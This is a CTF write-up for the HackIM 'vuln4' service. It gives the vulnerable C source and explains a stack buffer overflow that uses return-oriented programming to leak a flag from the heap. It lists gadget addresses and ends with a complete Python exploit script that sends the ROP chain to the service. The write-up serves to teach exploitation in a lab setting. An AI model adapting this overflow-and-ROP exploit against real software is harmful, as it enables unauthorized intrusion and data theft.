NULLCON CTF Vuln4 – Stack Buffer Overflow



Brooklynt Overflow Recently Competed in HackIM CTF. This is a writeup of the vuln4 service. The author was kind enough to provide source to this challenge which is nice but ultimately not necessary or terribly helpful.


#include
#include
#include
#include
#include <sys/types.h>
#include <sys/stat.h>
#include

#define STACK 64
#define HEAP 64
#define FLAG "./flag"

/* gcc -masm=intel -z norelro -fno-stack-protector -o chall_heap chall_heap.c */

const char *malloc_error = "Memory allocation failed!\n";
const char *file_error = "Opening flag failed!\n";
const char *pwn = "Good Enough? Pwn Me!\n";

void main(int argc, char **argv) {
    char *flag;
    int fd;
    char user[STACK];
    flag = malloc(HEAP);

    if (flag == NULL) {
	write(1, malloc_error, strlen(malloc_error));
	exit(1);
    }

    fd = open(FLAG ,O_RDONLY);
    if (fd < 0){
        write(1, file_error, strlen(file_error));
	exit(1);
    }

    if(setresuid(getuid(), getuid(), getuid()) < 0){
	exit(1);
    }

    read(fd, flag, HEAP-1);
    close(fd);

    write(1, pwn, strlen(pwn));

    read(0, user, 0x800);

   asm (".intel_syntax noprefix;"
   "xor ebx, ebx;"
   "xor ecx, ecx;"
   "xor esi, esi;"
   "xor edi, edi;"
       );

}

Vuln4 is a service that reads data from the user into a stack based buffer which is much too small. The goal is to read the contents of the flag file out of memory. This is made difficult because the author of this program zeros out the registers before returning and the way the stack is organized by the compiler.

Stack_layout
flag_fd and flag_heap_buffer will be trashed by our exploit.

At the time we are able to gain control of execution we have no immediate reference to where the heap buffer containing the flag is located. This is not an impossible barrier to overcome. We know that if we can create another allocation of reasonable size with malloc it will be allocated shortly after the block with the flag inside of it. We can then do some pointer arithmetic to locate the flag.

For this challenge, NX and ASLR have been enabled, we cannot return to the stack to execute arbitrary code. Because we have immediate control of the stack and a large stack space to work with we can employ vanilla return oriented programming techniques to perform the computations we need and to write the flag back to ourselves.

Gadget collection

I compiled a list of ROP gadgets from the program and began meditating on which gadgets to use. I decided on the following:

0x080486f7# mov dword [esp+0x04], eax ; call dword [ebx+esi*4-0x000000E0]
0x0804874e# add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp
0x080486a7# pop esi ; pop edi ; pop ebp
0x080483a0# pop ebx
0x080484df# pop pop pop ret or equiv
0x0804870f# pop ret or equiv
0x080483f0# malloc@.PLT
0x08048440# write@.PLT

In addition to the previous code snippets I also identified a few valuable data elements:

0x080499e4# write@.GOT
0x080498d8# writable memory
0x08048386# -4 as dword

Return Oriented Program Sequence

  • Trigger a call to write@.PLT. This shouldn’t be necessary but I want to make triple sure the GOT entry for write is populated before we need it.

  • Trigger a call to malloc. The contents of the allocation are important but we can use the return value to find the address of the heap block with the contents of flag.

  • Set the ebx register with the pop ebx gadget. When we execute the gadget add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp we want ebx to be pointing at -4, therefore we set ebx to be the address of -4 + 0x0B8A0008 ahead of time and also each time the gadget executes because it contains a pop ebx.

  • Execute a series of add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp gadgets. These will get eax pointing to the desired allocation in the heap. I determined in my debugger that subtracting 72 from eax would yield the address of the first block, therefore we execute this gadget 18 times.

  • During the last execution of this gadget prepare for the next operation by setting ebx to be the address of write@.GOT +0xe0. The addition of the small constant 0xe0 is to compensate for the next gadget: mov dword [esp+0x04], eax ; call dword [ebx+esi*4-0x000000E0]. This gadget brings everything together. mov dword [esp+0x04], eax writes the appropriate pointer argument onto the stack to prepare for the call to write. We make sure that esi is zero and ebx is the address of write@.GOT +0xe0. when the dereference is made we pull a pointer to write in libc.so and call it.

  • The program crashes after returning from the call and we collect our flag.

Exploit code

#Evan Jensen (wont)
#Stack buffer overflow exploit w/ ROP for vuln4 HackIM CTF

from isis import *
import re

malloc_plt= 0x80483f0
write_plt = 0x8048440
write_got = 0x80499e4
hlt       = 0x8048753 #hlt ret
pppr      = 0x80484df #pop pop pop ret or equiv
pr        = 0x804870f #pop ret or equiv
space     = 0x80498d8 #writable memory

pop_ebx=0x080483a0#: pop ebx

write_stack_call=0x080486f7# mov dword [esp+0x04], eax ; call dword [ebx+esi*4-0x000000E0]

add_eaxpppr=0x0804874e# add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp

pop_esi=0x080486a7# pop esi ; pop edi ; pop ebp

ptr_neg4=0x08048382+4
# (gdb) x /d 0x08048382+4
# 0x8048528 <main+20>:-4

#lei is a wrapper for pack in isis.py
leak_malloc=lei(write_plt,pppr,1,space,1,#make sure the got for write gets filled in
                malloc_plt,pr,8,#eax has pointer to heap
                #we really want a way to subtract some from eax
                pop_ebx,ptr_neg4+0x0B8A0008, #large constant subtracted in next gadget
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,

                add_eaxpppr,0,write_got+0xe0 ,0, #eax -= 72; ebx=write_got+e0

                #eax is now a suitable ptr for reading from
                #write_plt is now in ebx adjusted for upcomming call
                pop_esi,0,0,0,# pop esi ; pop edi ; pop ebp
                write_stack_call,1,0,316,
                hlt)

filler='\0'*(0x54+8*2)

s=get_socket(('localhost',2323)) #from isis.py
#s=get_socket(('23.23.190.205',8976))
#s.settimeout(100)
raw_input('hit enter to exploit')
s.recv(0x1000)
time.sleep(1)
s.send(filler+leak_malloc)
time.sleep(1)

#print re.findall('[0-9a-fA-F]{32}',s.recv(0x1000))
print s.recv(0x1000)

You can find this exploit and many others in the CTF-Solutions repo on github.